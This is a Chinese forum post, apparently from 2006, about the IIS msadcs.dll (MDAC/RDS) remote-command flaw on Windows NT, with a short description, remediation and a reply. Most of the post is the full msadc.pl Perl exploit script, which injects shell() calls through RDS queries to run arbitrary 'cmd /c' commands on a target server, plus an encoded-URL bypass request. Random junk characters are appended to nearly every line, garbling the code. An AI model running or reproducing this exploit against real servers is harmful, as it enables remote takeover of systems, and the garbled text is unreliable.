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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) N wNxO  
'kC#GTZi  
涉及程序: #\^=3A|b  
Microsoft NT server phf{b+'#X  
'/6f2[%Y"  
描述: &I8DK).M+  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Wex2Fd?DO  
ED79a:  
详细: U!c+i#:t  
如果你没有时间读详细内容的话,就删除: A- Abj'  
c:\Program Files\Common Files\System\Msadc\msadcs.dll oi,KA  
有关的安全问题就没有了。  1hi, &h  
/}6y\3h  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 wL3RcXW``e  
G/# <d-}_  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 [f  lK  
关于利用ODBC远程漏洞的描述,请参看: $/g`{O I]K  
a.gMH uL  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm KA{QGaZ/  
$b{8 $<;9  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 JU5,\3Lz#  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp <X4f2z{T{@  
H!X*29nX  
这里不再论述。 W5Pur lu?  
HpIi-Es7C  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ILH[q>  
8N9,HNBT$  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset mk!8>XvM  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! w42{)S"  
SC4jKm2  
5WRqeSGh  
#将下面这段保存为txt文件,然后: "perl -x 文件名" CALD7qMK  
7_qsVhh]$E  
#!perl |ZifrkD=  
# =1R 2`H\  
# MSADC/RDS 'usage' (aka exploit) script CL7 /J[TS  
# ;y@zvec4  
# by rain.forest.puppy kJOZ;X=9/  
# m,q)lbRl  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me }wv Rs5;o  
# beta test and find errors! Gsy>"T{CY  
|IzL4>m:;  
use Socket; use Getopt::Std; L / WRVc6  
getopts("e:vd:h:XR", \%args); iM:-750n/  
'w72i/  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; /=9dX; #  
KV&6v`K/N  
if (!defined $args{h} && !defined $args{R}) { F 8sOc&L  
print qq~ $J)`Ru6.  
Usage: msadc.pl -h <host> { -d <delay> -X -v } }u0&>k|y  
-h <host> = host you want to scan (ip or domain) 9 lG a*f)  
-d <seconds> = delay between calls, default 1 second X_D-K F  
-X = dump Index Server path table, if available f]?&R c2C  
-v = verbose 06.8m;{N  
-e = external dictionary file for step 5 w^nA/=;r  
`VGw5o  
Or a -R will resume a command session Th\T$T`X$  
'4u/g  
~; exit;} &X` lh P  
d*k5h<jM  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; lcReRcjm  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} knV*,   
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} oVbs^sbRH  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); A(`Mwh+  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} |+sAqx1IF  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } p}gA8 o  
B|9XqQ EI  
if (!defined $args{R}){ $ret = &has_msadc; xmC5uT6L3M  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} N z=P1&G'  
L5KcI  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" KY%qzq,n  
. "cmd /c "; a#CjGj)  
$in=<STDIN>; chomp $in; Ow5 VBw(  
$command="cmd /c " . $in ; UMD\n<+cG,  
x 00'wY|  
if (defined $args{R}) {&load; exit;} wnXU=  
!m'Rp~t  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; XA.1Y)  
&try_btcustmr; DXO'MZon3  
\fI05GZ  
print "\nStep 2: Trying to make our own DSN..."; *L*{FnsV  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; })(robBkA  
!-%%94Q  
print "\nStep 3: Trying known DSNs..."; u:W/6QS  
&known_dsn; 152s<lu1Z  
lm&^`Bn)  
print "\nStep 4: Trying known .mdbs..."; 4u41M,nJQd  
&known_mdb; I|;zGmg#k  
F,pKt.x  
if (defined $args{e}){ la 0:jO5  
print "\nStep 5: Trying dictionary of DSN names..."; IFa~`Gf[  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } .s41Tc5u  
1LvR,V<  
print "Sorry Charley...maybe next time?\n"; Rd]<591  
exit; K~3Y8ca  
L|-|DOgw  
############################################################################## 3X',L*f  
Uy)pEEu  
sub sendraw { # ripped and modded from whisker (47la$CR  
sleep($delay); # it's a DoS on the server! At least on mine... L 9cXgd  
my ($pstr)=@_; y )<+?@sP  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z?|bs?HKS  
die("Socket problems\n"); KV6D0~  
if(connect(S,pack "SnA4x8",2,80,$target)){ #RSUChe7w  
select(S); $|=1; ?`kZ6$  
print $pstr; my @in=<S>; P39oHW  
select(STDOUT); close(S);  ]EQ*!  
return @in; m&(qr5>b  
} else { die("Can't connect...\n"); }} dShGIH?  
Clap3E|a  
############################################################################## >$ro\/  
/Q:mUd  
sub make_header { # make the HTTP request }:J-o  
my $msadc=<<EOT #67 7,dn  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 -2 8bJ,  
User-Agent: ACTIVEDATA d1 kE)R  
Host: $ip {L.uLr_?e  
Content-Length: $clen $2}%3{<j  
Connection: Keep-Alive "*MF=VB1  
})J}7@VPO  
ADCClientVersion:01.06 uAoZ&8D6  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 WoNY8 8hT  
m"'`$/_  
--!ADM!ROX!YOUR!WORLD! AA=eWg  
Content-Type: application/x-varg J ^<uo (  
Content-Length: $reqlen !<~cjgdx  
uq54+zC  
EOT w $`w  
; $msadc=~s/\n/\r\n/g; &"J;  
return $msadc;} fYh<S  
L$kB(Brw  
############################################################################## @A*>lUo  
$P%cdJT0  
sub make_req { # make the RDS request 5nsoWqnE8  
my ($switch, $p1, $p2)=@_; 0 ?gHRdU"  
my $req=""; my $t1, $t2, $query, $dsn; ]T2Nr[vu  
'ShK7j$  
if ($switch==1){ # this is the btcustmr.mdb query 0!$y]Gr  
$query="Select * from Customers where City=" . make_shell(); S)4p'cUwq  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Y#=MN~##t  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} x)eoz2E1  
*-Vr=e<8   
elsif ($switch==2){ # this is general make table query #V#!@@c;?  
$query="create table AZZ (B int, C varchar(10))"; FC+h \  
$dsn="$p1";} Eciu^  
ha 2=O  
elsif ($switch==3){ # this is general exploit table query OIjSH~a.  
$query="select * from AZZ where C=" . make_shell(); v+SdjFAY  
$dsn="$p1";} pv-c>8Wb6  
v7`{6Pf_$  
elsif ($switch==4){ # attempt to hork file info from index server kY{$[+-jR  
$query="select path from scope()"; lmL$0{Yr  
$dsn="Provider=MSIDXS;";} qc\D=3 #Yp  
:g^ mg-8  
elsif ($switch==5){ # bad query tAI v+L  
$query="select"; eR6vO5to  
$dsn="$p1";} PB8g4-?p6  
Ek6 g?rj_  
$t1= make_unicode($query); 8Gnf_lkI  
$t2= make_unicode($dsn); _:p-\Oo.  
$req = "\x02\x00\x03\x00"; PiCGZybCA  
$req.= "\x08\x00" . pack ("S1", length($t1)); {P_7AM  
$req.= "\x00\x00" . $t1 ; gw[Eu>I  
$req.= "\x08\x00" . pack ("S1", length($t2)); }^p<Y5{b  
$req.= "\x00\x00" . $t2 ; $AE5n>ZD$  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; IAq o(Qm  
return $req;} rPGj+wL5-  
#Nco|v  
############################################################################## /wt7KL- I  
YhS_ ,3E  
sub make_shell { # this makes the shell() statement )7o? }"I  
return "'|shell(\"$command\")|'";} <'SS IMr  
%9Z0\ a)[  
############################################################################## Z[ (d7  
+`g&hO\W  
sub make_unicode { # quick little function to convert to unicode TB+k[UxB  
my ($in)=@_; my $out; k,k>w#&  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } g=@d!]Z~[  
return $out;} ^+CHp(X  
@|Yn~PwKs  
############################################################################## QKlsBq  
b.@4yW  
sub rdo_success { # checks for RDO return success (this is kludge) m_@XoS yxI  
my (@in) = @_; my $base=content_start(@in); 0< vJ*z|_  
if($in[$base]=~/multipart\/mixed/){ !Hl]&  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} l!&ik9m  
return 0;} ih^FH>@  
oZ d3H  
############################################################################## ~ &Ne P  
xz.Jmv  
sub make_dsn { # this makes a DSN for us m|c [C\)By  
my @drives=("c","d","e","f"); vgD+Y   
print "\nMaking DSN: "; GQ7uxdqWBQ  
foreach $drive (@drives) { ~?HK,`0h>  
print "$drive: "; U&V u%+B  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . gD4vV'|  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" fi%i 2Wy  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 3Ke6lV)uq  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; m|{^T/kIbQ  
return 0 if $2 eq "404"; # not found/doesn't exist #5z0~Mg-X  
if($2 eq "200") { GJr mK  
foreach $line (@results) { L+<h 5>6  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 2Ki_d  
} return 0;} {5<fvMO!6  
>V27#L2:J  
############################################################################## bp=r]nO  
Mb 4"bDBsl  
sub verify_exists { p^RX<L/\=_  
my ($page)=@_; !|H,g wqU  
my @results=sendraw("GET $page HTTP/1.0\n\n"); yV\%K6d|3&  
return $results[0];} W&%,XwkQ  
[X!w@d= i  
############################################################################## PS+~JwDUc  
NLG\*mQ  
sub try_btcustmr { Q!V:=d  
my @drives=("c","d","e","f"); S_Wq`I@b  
my @dirs=("winnt","winnt35","winnt351","win","windows"); "V 26\  
p'2IlQ\  
foreach $dir (@dirs) { 9*ZlNZ  
print "$dir -> "; # fun status so you can see progress >$L7J=Em  
foreach $drive (@drives) { igk<]AwxS  
print "$drive: "; # ditto PE4 L7  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; M>p<1`t-&  
$reqlenlen=length( "$reqlen" ); It&CM,=t  
$clen= 206 + $reqlenlen + $reqlen; TPk?MeVy%W  
Wtc ib-  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); !W@mW 5J|  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} -8Mb~Hfl0  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} TaBya0-  
DR}I+<*%aD  
############################################################################## _Tor9Tj  
nM2<u[{gF  
sub odbc_error { Q'Osw"  
my (@in)=@_; my $base; *?HGi>]\ |  
my $base = content_start(@in); N\g=9o|Q  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Q/ .LDye8  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j_N<aX  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j7kX"nz  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; kF~(B]W(  
return $in[$base+4].$in[$base+5].$in[$base+6];} k/wD@H N  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; qfE0J;e   
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . cVL|kYVWT  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} |zpy!X3  
~at@3j}W  
############################################################################## fP|[4 ku  
In96H`  
sub verbose { ;6[6~L%K}  
my ($in)=@_; 8$\j| mN  
return if !$verbose; wPjq B{!Q  
print STDOUT "\n$in\n";} ZxwrlaA  
%N<5ST>(  
############################################################################## hDJG.,r  
bkDVW  
sub save { :QGo -,6-  
my ($p1, $p2, $p3, $p4)=@_; tSJ#  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; W?.469yy  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 7UMZs7L$  
close OUT;} 0HoHu*+FX  
pS ](Emn`.  
############################################################################## :)lG}c  
|di(hY|  
sub load { S=!WFKcJR  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; <7\j\`  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 018SFle  
@p=<IN>; close(IN); BA2"GJvfIA  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); s"`~Xnf  
$target= inet_aton($ip) || die("inet_aton problems"); m.m6.  
print "Resuming to $ip ..."; :&vX0 Ce:  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; j}ob7O&U'w  
if($p[1]==1) { 0@-4.IHl  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; FDLo|aP/v  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 6-_g1vq  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); zY_J7,0g  
if (rdo_success(@results)){print "Success!\n";} *O~y6|U?  
else { print "failed\n"; verbose(odbc_error(@results));}} ` 5Kg[nB:  
elsif ($p[1]==3){ s;OGb{H7  
if(run_query("$p[3]")){ L?d?O  
print "Success!\n";} else { print "failed\n"; }} }h45j84)  
elsif ($p[1]==4){ <WZ{<'ajI  
if(run_query($drvst . "$p[3]")){ ?Te#lp;`~  
print "Success!\n"; } else { print "failed\n"; }} 8Re[]bE  
exit;} /GO-  
F%|P#CaB  
############################################################################## W-s6+ DY  
N<rq}^qo  
sub create_table { lfHN_fE>Mq  
my ($in)=@_; 7s?#y=M  
$reqlen=length( make_req(2,$in,"") ) - 28; 7! >0  
$reqlenlen=length( "$reqlen" ); z!3=.D  
$clen= 206 + $reqlenlen + $reqlen; Qy"Jt]O  
my @results=sendraw(make_header() . make_req(2,$in,"")); &S{r;N5u  
return 1 if rdo_success(@results); *gwlW/%Fz  
my $temp= odbc_error(@results); verbose($temp); GLtWo+g0  
return 1 if $temp=~/Table 'AZZ' already exists/; 1DB{"8ov  
return 0;} &Uam4'B6-  
bQautRW  
############################################################################## HXKM<E{j  
6T$=(I <4  
sub known_dsn { , yltt+ e  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go AyO%,6p[  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", i#*[, P~  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", uAA2G\3  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); b_~XTWP$l  
`&D#P%  
foreach $dSn (@dsns) { RBrb7D{  
print "."; =Q(J!f  
next if (!is_access("DSN=$dSn")); !~vK[G(R  
if(create_table("DSN=$dSn")){ PG63{  
print "$dSn successful\n"; c36p+6rJk=  
if(run_query("DSN=$dSn")){ 'z"vk  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { /Y y)=~t{  
print "Something's borked. Use verbose next time\n";}}} print "\n";} p [C 9g  
0 MK}  
############################################################################## (&SU)Uvu  
~6t!)QATnp  
sub is_access { $vu*# .w  
my ($in)=@_; -n9&W  
$reqlen=length( make_req(5,$in,"") ) - 28; ^\ x'4!W  
$reqlenlen=length( "$reqlen" ); fY&TI}Y  
$clen= 206 + $reqlenlen + $reqlen; T&'Jc  
my @results=sendraw(make_header() . make_req(5,$in,"")); ?A|JKOst]  
my $temp= odbc_error(@results); wPM>-F  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); IQO|)53)  
return 0;} >g{&Qx`&  
P_A@`eU0  
############################################################################## wH o}wp  
1;(h0j  
sub run_query { gvR]"h  
my ($in)=@_; 6NX#=A  
$reqlen=length( make_req(3,$in,"") ) - 28; Gf"TI:xa  
$reqlenlen=length( "$reqlen" ); i"a3POV>  
$clen= 206 + $reqlenlen + $reqlen; nm1dd{U6^  
my @results=sendraw(make_header() . make_req(3,$in,"")); [L+*pW+$\.  
return 1 if rdo_success(@results); d78 [(;  
my $temp= odbc_error(@results); verbose($temp); @6'~RD.  
return 0;} VG 5*17nf5  
-rsbSt ?_  
############################################################################## (Y)2[j  
&K0b3AWc  
sub known_mdb { `CVkjLiy  
my @drives=("c","d","e","f","g"); &'>m;W  
my @dirs=("winnt","winnt35","winnt351","win","windows"); {d[Nc,AMb  
my $dir, $drive, $mdb; *eoH"UFYQ#  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; d/9YtG%q  
m&gd<rt/  
# this is sparse, because I don't know of many 3l<qcKKc  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ?\8aT"o  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", kaCN^yQ  
"\\system32\\certmdb.mdb", Ge`7`D>L  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% jl P*RX  
Sh!c]r>\Q  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", L4Jm8sy{  
"\\cfusion\\cfapps\\forums\\forums_.mdb", jcqUY+T$  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", M]PZwW8  
"\\cfusion\\cfapps\\security\\realm_.mdb", @~$d4K y<  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", >}*W$i  
"\\cfusion\\database\\cfexamples.mdb", :o8`2Z*g  
"\\cfusion\\database\\cfsnippets.mdb",  nz?[  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", xJ$uoy3+  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", zTcz+3x  
"\\cfusion\\brighttiger\\database\\cleam.mdb", veq3t$sj  
"\\cfusion\\database\\smpolicy.mdb", A8&@Vxdz  
"\\cfusion\\database\cypress.mdb", ! :]_-DX  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", #$BFTlm|  
"\\website\\cgi-win\\dbsample.mdb", }eVDe(7_  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 3tf_\E+mIi  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 4u iq'-  
); #these are just 0FcDO5ia  
foreach $drive (@drives) { ="$w8iRU  
foreach $dir (@dirs){ A.r7 ks  
foreach $mdb (@sysmdbs) { &b#d4p6&l  
print "."; U6/7EOW,  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ zU!{_Ao9  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; J`5+Zngr  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ura&9~   
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; p"hO6b%V  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 1TQ?Fxj  
Xq$-&~   
foreach $drive (@drives) { @!")shc  
foreach $mdb (@mdbs) { 4JK6<Pk  
print "."; nCi ]6;Y  
if(create_table($drv . $drive . $dir . $mdb)){ W5Z-s.o  
print "\n" . $drive . $dir . $mdb . " successful\n"; )r46I$]>  
if(run_query($drv . $drive . $dir . $mdb)){ gg#9I(pX  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Ll=G+cw6P  
} else { print "Something's borked. Use verbose next time\n"; }}}} W~mo*EJ'^  
} f)_<Ih\/7_  
!d()'N  
############################################################################## r:V bjmL  
L!xFhVA<  
sub hork_idx { Q(f0S  
print "\nAttempting to dump Index Server tables...\n"; Dh`&B   
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _5 SvZ;4  
$reqlen=length( make_req(4,"","") ) - 28; 7310'wc  
$reqlenlen=length( "$reqlen" );  t/t6o&  
$clen= 206 + $reqlenlen + $reqlen; #|E#Rkw!  
my @results=sendraw2(make_header() . make_req(4,"","")); 6ZI Pe~`  
if (rdo_success(@results)){ 01@ WU1IN  
my $max=@results; my $c; my %d; p?$N[-W6-  
for($c=19; $c<$max; $c++){ YWn""8p;P  
$results[$c]=~s/\x00//g; 68?&`/t  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; R_G2C@y*  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 1K3XNHF  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; /)TeG]Xg  
$d{"$1$2"}="";} b<y*:(:  
foreach $c (keys %d){ print "$c\n"; } <2]h$53y!  
} else {print "Index server doesn't seem to be installed.\n"; }} CCG 5:xS  
fh`Y2s|:7R  
############################################################################## Mk#r_:[BS  
i{EQjZ  
sub dsn_dict { ]@9W19=P!P  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); A]m*~Vj]  
while(<IN>){ Cl3vp_  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; aiX&`   
next if (!is_access("DSN=$dSn")); 9c]$d  
if(create_table("DSN=$dSn")){ H&ek"nP_  
print "$dSn successful\n"; C2R"96M7q  
if(run_query("DSN=$dSn")){ BaIpX<$T  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { nq?+b >//  
print "Something's borked. Use verbose next time\n";}}} RTVU3fw  
print "\n"; close(IN);} =b$g_+  
g"sb0d9  
############################################################################## /ZiMD;4@y  
lB _9b_|2  
sub sendraw2 { # ripped and modded from whisker ?H8w;Csq-  
sleep($delay); # it's a DoS on the server! At least on mine... 4e>f}u 5  
my ($pstr)=@_; Gs"lmX-{$j  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || |rJN  
die("Socket problems\n"); o% +w:u.  
if(connect(S,pack "SnA4x8",2,80,$target)){ $DH/  
print "Connected. Getting data"; sRT5i9TQ  
open(OUT,">raw.out"); my @in; WY|~E%k  
select(S); $|=1; print $pstr; CX/[L)|Ru  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} mIf)=RW  
close(OUT); select(STDOUT); close(S); return @in; Ijiw`\;  
} else { die("Can't connect...\n"); }} mH;t)dT  
N_:!uR  
############################################################################## Lfx a^0  
e6'0g=Y#   
sub content_start { # this will take in the server headers j6^.Q/{^  
my (@in)=@_; my $c; ^kK")+K  
for ($c=1;$c<500;$c++) { pWzYC@_W  
if($in[$c] =~/^\x0d\x0a/){ a`yCPnB(  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } D A=LR  
else { return $c+1; }}} W\B@0Iso  
return -1;} # it should never get here actually 1 sza\pR<  
Tg O]q4  
############################################################################## $o+@}B0)  
 ^4WZ%J#g  
sub funky { A?HDY_u  
my (@in)=@_; my $error=odbc_error(@in); ksU& q%1  
if($error=~/ADO could not find the specified provider/){ 9u=]D> kb  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; JT}"CuC  
exit;} J" ,Cwk\  
if($error=~/A Handler is required/){ >1Iw!SO+  
print "\nServer has custom handler filters (they most likely are patched)\n"; [i~@X2:Al  
exit;} Z-t qSw8n  
if($error=~/specified Handler has denied Access/){ c)Q-yPMl)  
print "\nServer has custom handler filters (they most likely are patched)\n"; GKg #nXS  
exit;}} JqLPJUr  
=S54p(>  
############################################################################## 7mnO60Z8N  
w`boQ_Ir  
sub has_msadc { Y_$!XIJ4  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); lz0dt<8eP  
my $base=content_start(@results); 8B6(SQp%  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); n=rmf*,?  
return 0;} l{rHXST|  
g NE"z   
######################## uUaDesz~=  
ax _v+v %  
dn~k_J=p  
解决方案: W"/,<xHuh  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll # .&t'"u  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 y\6C9%.  
Ktuv a3=>N  
拿出来充数 哈哈
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